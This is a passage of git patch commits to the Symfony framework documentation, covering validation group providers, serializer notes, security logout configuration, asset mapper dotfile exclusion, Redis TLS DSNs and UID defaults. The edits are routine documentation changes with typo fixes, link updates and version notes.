+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+        use App\Validator\UserGroupProvider;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->setGroupProvider(UserGroupProvider::class);
+                $metadata->setGroupSequenceProvider(true);
+                // ...
+            }
+        }
+
+With this approach, you can maintain a clean separation between the entity
+structure and the group sequence logic, allowing for more advanced use cases.
+
 How to Sequentially Apply Constraints on a Single Property
 ----------------------------------------------------------
 

From ed19fbf89445362b2317a3475824f0a49548d78d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 17:01:13 +0100
Subject: [PATCH 4063/5766] Tweaks

---
 validation/sequence_provider.rst | 37 ++++++++++++++------------------
 1 file changed, 16 insertions(+), 21 deletions(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 734a5176c3f..55ff96acda2 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -347,33 +347,28 @@ provides a sequence of groups to be validated:
 Advanced Validation Group Provider
 ----------------------------------
 
-In the previous section, you learned how to dynamically determine the
-sequence of groups to apply based on the state of your entity. This
-approach covers most common scenarios, but for more advanced needs, you
-may find it to be insufficient.
+In the previous section, you learned how to change the sequence of groups
+dynamically based on the state of your entity. However, in more advanced cases
+you might need to use some external configuration or service to define that
+sequence of groups.
 
-For instance, suppose you need to provide the sequence of groups from an
-external configuration or service that can change its value dynamically.
 Managing the entity initialization and manually setting its dependencies can
 be cumbersome, and the implementation might not align with the entity
-responsibilities.
-
-To address this, you can now configure the implementation of the
-:class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-outside of the entity, and even register the group provider as a
-service if necessary.
+responsibilities. To solve this, you can configure the implementation of the
+:class:`Symfony\\Component\\Validator\\GroupProviderInterface` outside of the
+entity, and even register the group provider as a service.
 
 Here's how you can achieve this:
 
- 1) **Define a Separate Group Provider Class:** You can create a class that
-    implements the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-    and handles the dynamic group sequence logic.
- 2) **Configure the User with the Provider:** Use the ``provider`` option within the
-    :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
-    attribute to link the entity with the provider class.
- 3) **Autowiring or Manual Tagging:** If autowiring is enabled, your custom provider
-    will be automatically linked. Otherwise, you can manually tag your service with
-    ``validator.group_provider``.
+ 1) **Define a Separate Group Provider Class:** create a class that implements
+    the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+    and handles the dynamic group sequence logic;
+ 2) **Configure the User with the Provider:** use the ``provider`` option within
+    the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+    attribute to link the entity with the provider class;
+ 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
+    is enabled, your custom provider will be automatically linked. Otherwise, you must
+    :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
 
 .. configuration-block::
 

From c3a8aac346ea87df859a3df276872ba58d3231ae Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 21 Nov 2023 17:16:37 +0100
Subject: [PATCH 4064/5766] remove versionadded directive for 6.3

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0a36d79be20..67aedbef466 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1275,11 +1275,6 @@ to ``true``::
     $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
     // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
 
-.. versionadded:: 6.3
-
-    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
-    was introduced in Symfony 6.3.
-
 Skipping Uninitialized Properties
 ---------------------------------
 

From f6e6e9b4e45a5c553697aae9248c480bd29db832 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 21 Nov 2023 22:49:37 +0100
Subject: [PATCH 4065/5766] docs: fix typo

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3d32ea5114..4e53ac7bf94 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -609,7 +609,7 @@ When the browser downloads the page, this happens:
 3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
 
 Instead of downloading all 3 files in parallel, the browser is forced to
-download them one-by-one as it discovers them. This is hurts performance. To fix
+download them one-by-one as it discovers them. This hurts performance. To fix
 this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
 points to the ``assets/app.js`` file. Actually, this should already be
 done for you::

From 078006be3b9a0a79695e0eebc1e58b4bfd63172d Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Wed, 22 Nov 2023 09:12:53 +0100
Subject: [PATCH 4066/5766] HttpKernelInterface::handle parameter and return
 types

---
 create_framework/http_kernel_httpkernelinterface.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 4f9e1c731bf..431739ec404 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,9 +16,9 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MAIN_REQUEST,
-            $catch = true
-        );
+            int $type = self::MAIN_REQUEST,
+            bool $catch = true
+        ): Response;
     }
 
 ``HttpKernelInterface`` is probably the most important piece of code in the

From 5e32c4bb2466c73d6b644bcd5647c3d42e953b17 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 22 Nov 2023 09:51:22 +0100
Subject: [PATCH 4067/5766] fix versionadded syntax

---
 components/string.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/string.rst b/components/string.rst
index 36df10f4597..323750921a8 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -236,6 +236,7 @@ Methods to Change Case
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
 .. versionadded:: 7.1
+
     The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
     introduced in Symfony 7.1.
 

From 38f2ff8c65c72e016a1bd995eba7d0500d756900 Mon Sep 17 00:00:00 2001
From: lobodol <grobodol@gmail.com>
Date: Wed, 22 Nov 2023 09:41:29 +0100
Subject: [PATCH 4068/5766] fix(doc): typo

Remove duplicate word
---
 security/remember_me.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index ec3103f3ba9..4038f9e6268 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -219,7 +219,7 @@ present:
 .. image:: /_images/security/profiler-badges.png
     :alt: The Security page of the Symfony profiler, with the "Authenticators" tab showing the remember me badge in the passport object.
 
-Without this badge, remember me will be not be activated (regardless of all
+Without this badge, remember me will not be activated (regardless of all
 other settings).
 
 Add Remember Me Support to Custom Authenticators

From 0e84e79c84b6d5ec0be12755ca72bebe42380ee2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 22 Nov 2023 11:45:41 +0100
Subject: [PATCH 4069/5766] -

---
 create_framework/http_kernel_httpkernelinterface.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 431739ec404..8d28fc9d24b 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -39,8 +39,8 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MAIN_REQUEST,
-            $catch = true
+            int $type = HttpKernelInterface::MAIN_REQUEST,
+            bool $catch = true
         ) {
             // ...
         }

From df5edb0909e45fb39096b5323bf47367785ebc6d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 22 Nov 2023 19:31:49 +0100
Subject: [PATCH 4070/5766] add links label in service container page

---
 service_container.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index fa3681e06f9..0bfa4dd6f58 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -82,8 +82,8 @@ in the container.
     There are actually *many* more services in the container, and each service has
     a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
-    you won't need to worry about this. See :ref:`services-wire-specific-service`.
-    See :doc:`/service_container/debug`.
+    you won't need to worry about this. See :ref:`how to choose a specific service
+    <services-wire-specific-service>`. See :doc:`/service_container/debug`.
 
 .. _service-container-creating-service:
 
@@ -230,10 +230,11 @@ each time you ask for it.
 
     Thanks to this configuration, you can automatically use any classes from the
     ``src/`` directory as a service, without needing to manually configure
-    it. Later, you'll learn more about this in :ref:`service-psr4-loader`.
+    it. Later, you'll learn how to :ref:`import many services at once
+    <service-psr4-loader>` with resource.
 
-    If you'd prefer to manually wire your service, that's totally possible: see
-    :ref:`services-explicitly-configure-wire-services`.
+    If you'd prefer to manually wire your service, that's totally possible to
+    :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
 .. _service-container_limiting-to-env:
 
@@ -840,8 +841,8 @@ argument for *any* service defined in this file! You can bind arguments by name
 (e.g. ``$adminEmail``), by type (e.g. ``Psr\Log\LoggerInterface``) or both
 (e.g. ``Psr\Log\LoggerInterface $requestLogger``).
 
-The ``bind`` config can also be applied to specific services or when loading many
-services at once (i.e. :ref:`service-psr4-loader`).
+The ``bind`` config can also be applied to specific services or when
+:ref:`loading many services at once <service-psr4-loader>`).
 
 Abstract Service Arguments
 --------------------------
@@ -1091,9 +1092,9 @@ key. For example, the default Symfony configuration contains this:
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.
 You can override any service that's imported by using its id (class name) below
-(e.g. see :ref:`services-manually-wire-args`). If you override a service, none of
-the options (e.g. ``public``) are inherited from the import (but the overridden
-service *does* still inherit from ``_defaults``).
+(e.g. see :ref:`how to manually wire arguments <services-manually-wire-args>`).
+If you override a service, none of the options (e.g. ``public``) are inherited
+from the import (but the overridden service *does* still inherit from ``_defaults``).
 
 You can also ``exclude`` certain paths. This is optional, but will slightly increase
 performance in the ``dev`` environment: excluded paths are not tracked and so modifying

From 7cc8290969d30fd708807b8851558bfefbf173e5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 23 Nov 2023 09:08:07 +0100
Subject: [PATCH 4071/5766] [HttpKernel] Introduce
 `ExceptionEvent::isKernelTerminating()`

---
 components/http_kernel.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 435ded9063a..fbc59a85a50 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -519,6 +519,17 @@ comes with an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListen
 which if you choose to use, will do this and more by default (see the sidebar
 below for more details).
 
+The :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` exposes the
+:method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating`
+method, which you can use to determine if the kernel is currently terminating
+at the moment the exception was thrown.
+
+.. versionadded:: 7.1
+
+    The
+    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating`
+    method was introduced in Symfony 7.1.
+
 .. note::
 
     When setting a response for the ``kernel.exception`` event, the propagation

From 87d6c7ce684693a1d1daa93415e360a434aaa95a Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Thu, 23 Nov 2023 01:05:48 +0100
Subject: [PATCH 4072/5766] Update license.rst

---
 contributing/code/license.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8f0ff3f6501..0a4eaafce0d 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2021 Fabien Potencier
+Copyright (c) 2004-present Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From b4b65d76846908281c17fe3f400fb925c8bb55b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Kristijan=20Stipi=C4=87?= <kiki.stipic@gmail.com>
Date: Wed, 22 Nov 2023 14:46:04 +0100
Subject: [PATCH 4073/5766] [HttpClient] Symfony HTTP Client documentation

---
 http_client.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 13c520217de..79be1807b57 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1049,7 +1049,11 @@ If the server does respond with a gzipped response, it's decoded transparently.
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
-the remote server supports it.
+the remote server support it.
+
+.. caution::
+
+    If you set `Accept-Encoding` to e.g. `gzip`, you will need to handle the decompression yourself.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 7ded54a59bfdde96adcc3cb8dd8ad814335ddd78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Nov 2023 09:55:23 +0100
Subject: [PATCH 4074/5766] Tweak

---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 79be1807b57..ebdef7fb7d3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1053,7 +1053,8 @@ the remote server support it.
 
 .. caution::
 
-    If you set `Accept-Encoding` to e.g. `gzip`, you will need to handle the decompression yourself.
+    If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
+    decompression yourself.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 7047b7964057a78550dae016604c3dda2a95e6b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Nov 2023 10:00:39 +0100
Subject: [PATCH 4075/5766] Tweak

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 0bfa4dd6f58..ea341c124d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -233,7 +233,7 @@ each time you ask for it.
     it. Later, you'll learn how to :ref:`import many services at once
     <service-psr4-loader>` with resource.
 
-    If you'd prefer to manually wire your service, that's totally possible to
+    If you'd prefer to manually wire your service, you can
     :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
 .. _service-container_limiting-to-env:

From 3726dda85d8836fe9986d08c3caabf2ca56effa6 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 22 Nov 2023 19:09:02 +0100
Subject: [PATCH 4076/5766] Remove "--unpack" option from setup.rst

---
 setup.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 55499fed87f..ea4c6cdc7f9 100644
--- a/setup.rst
+++ b/setup.rst
@@ -219,8 +219,7 @@ which in turn installs several packages like ``symfony/debug-bundle``,
 You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
 as Flex automatically unpacks the pack. This means that it only adds the real
 packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
-``require-dev``). While it is not recommended, you can use the ``composer
-require --no-unpack ...`` option to disable unpacking.
+``require-dev``).
 
 .. _security-checker:
 

From dee0007cfa2da2ca225eb5ed69bde7fed96673c2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Nov 2023 11:05:27 +0100
Subject: [PATCH 4077/5766] update learn more link for event dispatcher
 component

---
 components/event_dispatcher.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index cc4367f8723..f6f30419f68 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -480,9 +480,8 @@ Learn More
 
 .. toctree::
     :maxdepth: 1
-    :glob:
 
-    event_dispatcher
+    /components/event_dispatcher/generic_event
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`

From 701d4020859c8e4644a2e0ac6c194a944897cc3d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Nov 2023 14:15:39 +0100
Subject: [PATCH 4078/5766] explicit check route option for loginlink usage

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index c08bd1f2132..df4ac801dcd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -28,8 +28,8 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The login link authenticator is configured using the ``login_link`` option
-under the firewall. You must configure a ``check_route`` and
-``signature_properties`` when enabling this authenticator:
+under the firewall. You must configure a ``check_route`` with a route name
+and ``signature_properties`` when enabling this authenticator:
 
 .. configuration-block::
 

From f9a7e1946bffc0a4c86bf7aa7342c3ee0780afef Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Nov 2023 14:07:32 +0100
Subject: [PATCH 4079/5766] [Security] Migrate to ConfigBuilder format

---
 reference/configuration/security.rst | 32 ++++++++++++----------------
 1 file changed, 14 insertions(+), 18 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 22884fdbbe1..e28b52336ba 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -119,25 +119,21 @@ user logs out::
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->deleteCookie('cookie1-name')
+                    ->deleteCookie('cookie2-name')
+                        ->path('/')
+                    ->deleteCookie('cookie3-name')
+                        ->path(null)
+                        ->domain('example.com');
+        };
 
 erase_credentials
 ~~~~~~~~~~~~~~~~~

From aa5132a4359a461c9b070686b44e6c210cb48d5c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Nov 2023 14:10:48 +0100
Subject: [PATCH 4080/5766] [Security] Migrate to ConfigBuilder format for 6.3+

---
 reference/configuration/security.rst | 53 ++++++++++++----------------
 1 file changed, 23 insertions(+), 30 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d6ffd07f102..973c970f413 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -408,25 +408,21 @@ user logs out::
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->deleteCookie('cookie1-name')
+                    ->deleteCookie('cookie2-name')
+                        ->path('/')
+                    ->deleteCookie('cookie3-name')
+                        ->path(null)
+                        ->domain('example.com');
+        };
 
 
 clear_site_data
@@ -483,19 +479,16 @@ It's also possible to use ``*`` as a wildcard for all directives:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'clear-site-data' => [
-                            'cookies',
-                            'storage',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->clearSiteData(['cookies', 'storage']);
+        };
 
 .. versionadded:: 6.3
 

From 412763397e1705707acb8cdb51a51e14f2ed2ba7 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Sat, 25 Nov 2023 17:16:27 +0100
Subject: [PATCH 4081/5766] Document requirements for DoctrineDbalAdapter

---
 .../cache/adapters/doctrine_dbal_adapter.rst  | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index fc04410bffc..97b67724ce1 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -39,5 +39,22 @@ optional arguments::
     necessary to detect the database engine and version without opening the
     connection.
 
+The adapter uses SQL syntax that is optimized for database server that it is connected to.
+The following database servers are known to be compatible:
+
+* MySQL 5.7 and newer
+* MariaDB 10.2 and newer
+* Oracle 10g and newer
+* SQL Server 2012 and newer
+* SQLite 3.24 or later
+* PostgreSQL 9.5 or later
+
+.. note::
+
+    Newer releases of Doctrine DBAL might increase these minimal versions. Please check
+    the manual page on `Doctrine DBAL Platforms`_ if your database server is compatible
+    with the installed Doctrine DBAL version.
+
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
-.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html#connecting-using-a-url
+.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html
\ No newline at end of file

From ab2e07b5162c0aed5d8daeec15b71fbd3866aaee Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 26 Nov 2023 21:52:48 +0100
Subject: [PATCH 4082/5766] [AssetMapper] Exclude dot files

---
 frontend/asset_mapper.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f65aff65c17..15b486816ad 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -953,6 +953,25 @@ This is a list of glob patterns that will be excluded from the asset map:
 You can use the ``debug:asset-map`` command to double-check that the files
 you expect are being included in the asset map.
 
+``framework.asset_mapper.exclude_dotfiles``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Whether to exclude any file starting with a ``.`` from the asset mapper. This
+is useful if you want to avoid leaking sensitive files like ``.env`` or
+``.gitignore`` in the files published by the asset mapper.
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            exclude_dotfiles: true
+
+This option is enabled by default.
+
+.. versionadded:: 7.1
+
+    The ``exclude_dotfiles`` option was introduced in Symfony 7.1.
+
 .. _config-importmap-polyfill:
 
 ``framework.asset_mapper.importmap_polyfill``

From eb5f971269c32ff2f4aeb29ec1d836e91a0bb75e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Nov 2023 09:05:10 +0100
Subject: [PATCH 4083/5766] -

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 15b486816ad..58ebc46f382 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -968,9 +968,9 @@ is useful if you want to avoid leaking sensitive files like ``.env`` or
 
 This option is enabled by default.
 
-.. versionadded:: 7.1
+.. versionadded:: 6.4
 
-    The ``exclude_dotfiles`` option was introduced in Symfony 7.1.
+    The ``exclude_dotfiles`` option was introduced in Symfony 6.4.
 
 .. _config-importmap-polyfill:
 

From 674ff7d41ea9ea73c07f1547a1c7ae6d601f49a4 Mon Sep 17 00:00:00 2001
From: Alexander Kim <alex@kim.family>
Date: Tue, 28 Nov 2023 09:56:44 -0500
Subject: [PATCH 4084/5766] fix: serializer includes only accessible attributes
 by default

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 70101d5ab8b..c5b56796777 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -471,7 +471,7 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-All attributes are included by default when serializing objects. There are two
+All accessible attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
 Option 1: Using ``@Ignore`` Annotation

From b69746976a64a81ed939b549f54712fc2fb8eb5c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Nov 2023 18:38:01 +0100
Subject: [PATCH 4085/5766] -

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c5b56796777..96e3408c1be 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -471,8 +471,8 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-All accessible attributes are included by default when serializing objects. There are two
-options to ignore some of those attributes.
+All accessible attributes are included by default when serializing objects.
+There are two options to ignore some of those attributes.
 
 Option 1: Using ``@Ignore`` Annotation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a7f83b182a3e86f4cc3ae5709d6ff71704abf51 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 28 Nov 2023 19:07:21 -0300
Subject: [PATCH 4086/5766] [Messenger] Update docs for Redis transport about
 TLS support

---
 messenger.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0bd5afa23ff..2de70a2d0cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1587,6 +1587,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
+    # TLS Example
+    MESSENGER_TRANSPORT_DSN=rediss://localhost:6379/messages
 
 .. versionadded:: 5.1
 
@@ -1617,7 +1619,6 @@ stream_max_entries   The maximum number of entries which    ``0`` (which means "
                      the stream will be trimmed to. Set
                      it to a large enough number to
                      avoid losing pending messages
-tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died
@@ -1656,6 +1657,14 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The ``rediss://`` DSN scheme support for TLS protocol was introduced in Symfony 5.3.
+
+.. deprecated:: 5.3
+
+    The ``tls`` option was deprecated in Symfony 5.3, use ``rediss://`` DSN scheme for TLS support instead.
+
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is

From edbaa0dd44d96cc6316c679f6dca6440b2fe81ab Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 29 Nov 2023 01:23:01 +0100
Subject: [PATCH 4087/5766] [UID] Fix default versions in framework config

Default UUID versions are
* 6 5 6 in Symfony 6.2 6.3 and 6.4
* 7 5 7 in Symfony >= 7.0

Sources:
* https://github.com/symfony/symfony/blob/6.4/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
* https://github.com/symfony/symfony/blob/7.0/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 52403513995..f27977a8296 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -94,10 +94,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
-                default_uuid_version: 7
+                default_uuid_version: 6
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 7
+                time_based_uuid_version: 6
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -113,10 +113,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
